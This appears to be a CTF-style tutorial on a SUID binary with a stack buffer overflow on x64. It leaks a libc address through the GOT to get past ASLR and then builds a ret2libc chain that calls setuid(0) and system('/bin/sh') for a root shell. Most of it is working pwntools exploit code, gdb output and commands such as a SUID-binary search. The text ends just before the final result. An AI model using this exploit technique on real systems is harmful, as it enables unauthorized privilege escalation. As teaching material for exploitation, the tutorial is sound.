Binary Privilege Escalation in x64. Defeating ASLR with Leaks
It is very common, mostly in CTF challenges, to abuse a binary exploitation to retrieve a shell from an unprivilege user to root user.
TLDR: In this example we are going to use a binary called jl_bin with a SUID permission and vulnerable to a Buffer Overlow. ASLR protection is enabled in x64 architecture so we have to leak the libc base address of the GOT table to spawn a shell giving the libc offsets of system and setuid.
- Setuid
- Binary Protections
- Exploiting the Buffer Overflow
- What is a Leak
- Exploiting the Leak
- Ret2libc
- Full Exploitation
What is setuid/SUID permission?
SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it.
How could we find these binaries? Using this command:
find / -perm -4000 2>/dev/null
For example, sudo
binary has a SUID permission because allows a user to run a temporary elevated process. The letter s indicates that the binary has SUID enabled.
> ls -ll /usr/bin/sudo
-r-s--x--x 1 root wheel 370720 May 4 09:02 /usr/bin/sudo
Therefore, if we could exploit a SUID binary that its owner is root we could privesc.
Binary Protections
Using gdb, in my case with peda, allows us to check if the binary has some protections:
> gdb jl_bin
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
What does it means?
Protection | Description |
---|---|
CANARY | Certain value put on the stack and validated before that function is left again. If the canary value is not correct, then the stack might have been overwritten/corrupted and the application is stopped. |
FORTIFY | The compiler will try to intelligently read the code it is compiling/building. When it sees a C-library function call against a variable whose size it can deduce, it will replace the call with a FORTIFY’ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately. |
NX (non-execute) | The application, when loaded in memory, does not allow any of its segments to be both writable and executable. |
PIE (Position Independent Executable) | Tells the loader which virtual address it should use. Combined with in-kernel ASLR, PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult. |
RELRO (Relocation Read-Only) | Headers in the binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done, but before the application itself is launched. |
In addition to that, kernel ASLR protection is enabled by default. Address space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.
To check if is enabled, run:
> cat /proc/sys/kernel/randomize_va_space
2
Exploiting the Buffer Overflow
When the program is executed, a password is required. What happen if we send a lot of As?
> ./jl_bin
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
access denied.
Segmentation fault
Perfect, a Segmentation Fault. Let’s see it in gdb:
> gdb jl_bin
> gdb-peda$ r
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
access denied.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fe877a6e504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7fe877b418c0 --> 0x0
RSI: 0x4319c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd474a9068 ('A' <repeats 151 times>)
RIP: 0x401618 (<auth+261>: ret)
R8 : 0x7fe877b46500 (0x00007fe877b46500)
In 64 binaries, a direct overwrite in RIP is not possible, but the process is stuck in a ret call. We can observe that the stack pointer (RSP) is overwrited with As : ‘A’ <repeats 151 times>.
Therefore, We need to put a valid direction in RSP to have a succesfull exploitation.
To know the exact amount of junk to send to the input to reach a Buffer Overflow, we could use pattern_create
and pattern_offset
of peda.
> gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /root/Downloads/rop/jl_bin
Enter access password: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAA
oAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
access denied.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fa95451c504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7fa9545ef8c0 --> 0x0
RSI: 0x9dc9c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fff3d39ea58 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
gdb-peda$ pattern_offset AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 136
The number of junk characters to overwrite the content of the RSP is 136
. Therefore, we are going to start our exploit. The exploit is developed in python2 using the amazing pwn
library.
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
payload = junk
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
p.interactive(prompt="")
But… this program does not do anything. We need to overwrite RSP with some valid direction to take advantage. ASLR is protecting the system randomizing address, and in 64 bits there is almost impossible to bruteforce the address space, so we need something extra… Leaks.
What is a Leak?
Firstly, we need to vaguely describe PLT and GOT:
-
PLT (Procedure Linkage Table which) is used to call external procedures/functions whose address is not known in the time of linking, and is left to be resolved by the dynamic linker at run time.
-
GOT (Global Offsets Table) is similar to PLT but is used to resolve addresses.
Since the GOT and PLT are used directly from anywhere in the program, they need to have a known static address in memory. In addition, the GOT needs to have write permissions, because when the address of a function is resolved, it is written into its corresponding GOT entry. Moreover, the addresses in the GOT section are static (not affected by ASLR).
Therefore, using puts to print the address of the puts function in the libc mapped in the GOT table, would allow us to retrieve the base address of libc to call other functions… is a bit tricky but we are going step by step.
Exploiting the leak
Firstly, we need three things:
- Address of pop rdi to pass the argument to RDI, that will be used to puts. That is because in 64 bits arguments are pased in registries, in 32 bits are retrieved from the stack. Therefore, we need to pop arguments to the registry using this function (0x40179b).
> ROPgadget --binary jl_bin > gadgets.txt
> cat gadgets.txt | grep "pop rdi"
0x000000000040179b : pop rdi ; ret
- Address of GOT table where the puts in libc is (0x404028).
>objdump -D jl_bin | grep puts
0000000000401050 <puts@plt>:
401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
- Address of puts to print the address leaked (0x401050).
Finally our exploit will look like this:
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
payload = junk + pop_rdi + got_put + plt_put
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
p.interactive(prompt="")
Running:
python exploit.py
[+] Starting local process './jl_bin': pid 1847
[+] Leaked puts@GLIBC: \x10F\xb5\xa6\x7f\x00\x00
[*] Stopped process './jl_bin' (pid 1847)
There is a problem, if the process is stopped, the address leaked will be randomized in the next execution. We need to preserve the process open again. To achieve that, we could call to main funcion after leaking the address. The address of main is 0x401619.
> objdump -D jl_bin | grep main
401194: ff 15 56 2e 00 00 callq *0x2e56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
Our exploit:
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)
payload = junk + pop_rdi + got_put + plt_put + plt_main
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
p.interactive(prompt="")
Ret2libc
Once we have leaked the puts address of libc we need to search the offset of the puts address in libc to reach the base address of libc. Knowing this address will allow us to call system functions and retrieve a shell.
> locate libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6
> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep puts
426: 0000000000071910 413 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
The address of puts in libc is 0x71910. Then the base of the libc address is: leaked address - 0x71910
.
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)
payload = junk + pop_rdi + got_put + plt_put + plt_main
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
#unpack again
leaked_puts = u64(leaked_puts)
libc_put = 0x71910
offset = leaked_puts - libc_put
log.info("glibc offset: %x" % offset)
p.interactive(prompt="")
Now we could search for system and /bin/sh to spawn a shell:
- system (0x449c0)
readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep system
1418: 00000000000449c0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
- /bin/sh (0x181519)
strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh 181519 /bin/sh
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)
payload = junk + pop_rdi + got_put + plt_put + plt_main
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
#unpack again
leaked_puts = u64(leaked_puts)
libc_put = 0x71910
offset = leaked_puts - libc_put
log.info("glibc offset: %x" % offset)
libc_sys = 0x449c0
libc_sh = 0x181519
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
payload = junk + pop_rdi + sh + sys
p.sendline(payload)
p.recvline()
p.recvline()
p.interactive(prompt="")
Let check the exploit:
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ python exploit.py
[+] Starting local process './jl_bin': pid 2071
[+] Leaked puts@GLIBC: \x105\xb7\x7f\x00\x00
[*] glibc offset: 7fb73516c000
[*] Switching to interactive mode
id
uid=1000(test) gid=1000(test) groups=1000(test)
The shell works! But we have not escalate privileges… we need to invoke setuid before calling the shell.
> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep setuid
25: 00000000000c7500 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5
Full exploitation
The final exploit would be:
from pwn import *
p = process('./jl_bin')
context(os='linux',arch='amd64')
junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)
payload = junk + pop_rdi + got_put + plt_put + plt_main
# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
#unpack again
leaked_puts = u64(leaked_puts)
libc_put = 0x71910
offset = leaked_puts - libc_put
log.info("glibc offset: %x" % offset)
libc_sys = 0x449c0
libc_sh = 0x181519
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
# setuid
setuid = p64(0x0)
libc_setuid = p64(0xc7500 + offset)
payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys
p.sendline(payload)
p.recvline()
p.recvline()
p.interactive(prompt="")
And the exploitation: